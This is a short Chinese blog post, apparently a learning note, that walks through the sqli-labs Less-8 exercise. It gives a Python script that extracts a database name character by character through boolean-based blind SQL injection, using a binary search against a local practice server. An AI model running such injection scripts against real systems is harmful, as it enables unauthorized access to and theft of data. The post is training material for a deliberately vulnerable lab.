python指令碼學習一：測試布爾型盲註腳本

標籤：substr   port   技術   個人   png   database   布爾   bst   images   

sqli-labs第八關：單引號布爾型盲注，手工測出database長度，個人覺得手工比較快

然後使用指令碼測database內容，這個指令碼就比手工快多了，指令碼內容如下：

 1 import sys 2 import requests 3  4 url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s" 5 payload="‘ and ascii(substr(database(),%s,1))>%s --+" 6 database=‘‘ 7 print("Start to retrive the database") 8 for i in range(1,9): 9     max=122    #z10     min=65    #A11     while abs(max-min)>1: 12         mid=int((max+min)/2)13         p=payload % (str(i),str(mid))14         response=requests.get(url % p)15         if response.content.find("You are in")!=-1:16             min=mid17         else:18             max=mid19     database=database+chr(max)20     print("the database is :%s" % database)            

 

測試結果：

 

python指令碼學習一：測試布爾型盲註腳本